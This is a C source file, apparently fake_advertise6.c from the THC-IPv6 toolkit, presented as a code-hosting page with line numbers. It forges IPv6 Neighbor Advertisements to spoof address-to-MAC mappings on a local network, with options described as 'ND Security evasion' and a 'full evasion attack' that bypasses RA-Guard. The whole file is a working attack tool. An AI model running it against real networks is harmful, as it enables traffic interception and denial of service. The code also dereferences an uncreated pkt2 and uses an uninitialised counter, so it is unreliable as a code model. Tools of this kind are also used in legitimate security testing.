/
fake_advertise6.c
220 lines (206 loc) · 7.44 KB
/
fake_advertise6.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"
void help(char *prg) {
printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf(
"Syntax: %s [-DHF] [-Ors] [-n count] [-w seconds] interface "
"ip-address-advertised [target-address [mac-address-advertised "
"[source-ip-address]]]\n\n",
prg);
printf(
"Advertise IPv6 address on the network (with own mac if not "
"specified),\n");
printf(
"sending it to the all-nodes multicast address if no target address is "
"set.\n");
printf("Source ip address is the address advertised if not set.\n\n");
printf("Sending options:\n");
printf(" -n count send how many packets (default: forever)\n");
printf(" -w seconds wait time between the packets sent (default: 5)\n");
printf(
" -m srcmac the srcmac address to send from (not what is "
"advertised!\n");
printf("Flag options:\n");
printf(" -O do NOT set the override flag (default: on)\n");
printf(" -r DO set the router flag (default: off)\n");
printf(" -s DO set the solicitate flag (default: off)\n");
printf("ND Security evasion options (can be combined):\n");
printf(" -F full evasion attack (no other evasion options allowed)\n");
printf(" -H add a hop-by-hop header\n");
printf(
" -f add a one shot fragment header (can be specified multiple "
"times)\n");
printf(" -D add a large destination header which fragments the packet.\n");
exit(-1);
}
int main(int argc, char *argv[]) {
unsigned char *pkt1 = NULL, *pkt2 = NULL, buf[24], buf2[6], buf3[1500];
unsigned char *unicast6, *src6 = NULL, *dst6 = NULL, srcmac[8] = "",
replymac[8] = "", *mac = replymac, *smac = NULL;
int pkt1_len = 0, pkt2_len = 0, prefer = PREFER_GLOBAL, i, do_hop = 0,
do_dst = 0, do_frag = 0, cnt, type = NXT_ICMP6, wait = 5, loop = -1,
do_full = 0;
unsigned int flags = ICMP6_NEIGHBORADV_OVERRIDE;
char * interface;
int offset = 14;
thc_ipv6_hdr *hdr;
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]);
if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL)
printf("WARNING: %s is not working with injection!\n", argv[0]);
while ((i = getopt(argc, argv, "DfFHOrsn:w:m:")) >= 0) {
switch (i) {
case 'n':
loop = atoi(optarg);
break;
case 'w':
wait = atoi(optarg);
break;
case 'm':
sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *)&srcmac[0],
(unsigned int *)&srcmac[1], (unsigned int *)&srcmac[2],
(unsigned int *)&srcmac[3], (unsigned int *)&srcmac[4],
(unsigned int *)&srcmac[5]);
smac = srcmac;
break;
case 'O':
if ((flags & ICMP6_NEIGHBORADV_OVERRIDE) > 0)
flags -= ICMP6_NEIGHBORADV_OVERRIDE;
break;
case 'r':
flags = (flags | ICMP6_NEIGHBORADV_ROUTER);
break;
case 's':
flags = (flags | ICMP6_NEIGHBORADV_SOLICIT);
break;
case 'f':
do_frag++;
break;
case 'H':
do_hop = 1;
break;
case 'F':
do_full = 1;
break;
case 'D':
do_dst = 1;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (do_full) do_hop = do_dst = do_frag = 0;
if (argc - optind < 2) help(argv[0]);
if (do_hdr_size) offset = do_hdr_size;
interface = argv[optind];
if (thc_get_own_mac(interface) == NULL) {
fprintf(stderr, "Error: invalid interface %s\n", interface);
exit(-1);
}
if ((unicast6 = thc_resolve6(argv[optind + 1])) == NULL) {
fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n",
argv[optind + 1]);
exit(-1);
}
if (argc - optind >= 3 && argv[optind + 2] != NULL)
dst6 = thc_resolve6(argv[optind + 2]);
else
dst6 = thc_resolve6("ff02::1");
if (dst6 == NULL) {
fprintf(stderr, "Error: could not resolve destination of advertise: %s\n",
argv[optind + 2]);
exit(-1);
}
if (argc - optind >= 4 && argv[optind + 3] != NULL)
sscanf(argv[optind + 3], "%x:%x:%x:%x:%x:%x", (unsigned int *)&replymac[0],
(unsigned int *)&replymac[1], (unsigned int *)&replymac[2],
(unsigned int *)&replymac[3], (unsigned int *)&replymac[4],
(unsigned int *)&replymac[5]);
else
mac = thc_get_own_mac(interface);
if (smac == NULL) smac = mac;
if (argc - optind >= 5 && argv[optind + 4] != NULL)
src6 = thc_resolve6(argv[optind + 4]);
else
src6 = unicast6;
memset(buf, 0, sizeof(buf));
memcpy(buf, unicast6, 16);
buf[16] = 2;
buf[17] = 1;
memcpy(&buf[18], mac, 6);
memset(buf2, 0, sizeof(buf2));
memset(buf3, 0, sizeof(buf3));
if ((pkt1 = thc_create_ipv6_extended(interface, prefer, &pkt1_len, src6, dst6,
0, 0, 0, 0, 0)) == NULL)
return -1;
if (do_hop) {
type = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt1, &pkt1_len, buf2, sizeof(buf2)) < 0)
return -1;
}
if (do_frag) {
if (type == NXT_ICMP6) type = NXT_FRAG;
for (i = 0; i <= do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt1, &pkt1_len, cnt++) < 0) return -1;
}
if (do_dst) {
if (type == NXT_ICMP6) type = NXT_DST;
if (thc_add_hdr_dst(pkt1, &pkt1_len, buf3, sizeof(buf3)) < 0) return -1;
}
if (thc_add_icmp6(pkt1, &pkt1_len, ICMP6_NEIGHBORADV, 0, flags,
(unsigned char *)&buf, 24, 0) < 0)
return -1;
if (thc_generate_pkt(interface, smac, NULL, pkt1, &pkt1_len) < 0) {
fprintf(stderr, "Error: Can not generate packet, exiting ...\n");
exit(-1);
}
/*
if ((pkt2 = thc_create_ipv6_extended(interface, prefer, &pkt2_len, src6,
dst6, 0, 0, 0, 0, 0)) == NULL) return -1; if (do_hop) if
(thc_add_hdr_hopbyhop(pkt2, &pkt2_len, buf2, sizeof(buf2)) < 0) return -1;
if (do_frag)
for (i = 0; i <= do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt2, &pkt2_len, cnt++) < 0)
return -1;
if (do_dst)
if (thc_add_hdr_hopbyhop(pkt2, &pkt2_len, buf3, sizeof(buf3)) < 0)
return -1;
if (thc_add_icmp6(pkt2, &pkt2_len, ICMP6_NEIGHBORADV, 0, 0, (unsigned char
*) &buf, 24, 0) < 0) return -1; if (thc_generate_pkt(interface, smac, NULL,
pkt2, &pkt2_len) < 0) { fprintf(stderr, "Error: Can not generate packet,
exiting ...\n"); exit(-1);
}
*/
printf("Starting advertisement of %s (Press Control-C to end)\n",
argv[optind + 1]);
while (loop) {
if (do_full) {
hdr = (thc_ipv6_hdr *)pkt1;
thc_send_raguard_bypass6(interface, src6, dst6, smac, NULL, NXT_ICMP6,
hdr->pkt + 40 + offset,
hdr->pkt_len - 40 - offset, 0);
} else if (do_dst) {
hdr = (thc_ipv6_hdr *)pkt1;
thc_send_as_fragment6(interface, src6, dst6, type, hdr->pkt + 40 + offset,
hdr->pkt_len - 40 - offset, 1240);
hdr = (thc_ipv6_hdr *)pkt2;
thc_send_as_fragment6(interface, src6, dst6, type, hdr->pkt + 40 + offset,
hdr->pkt_len - 40 - offset, 1240);
} else {
thc_send_pkt(interface, pkt1, &pkt1_len);
// thc_send_pkt(interface, pkt2, &pkt2_len);
}
if (loop != -1) loop--;
if (loop) sleep(wait);
}
return 0;
}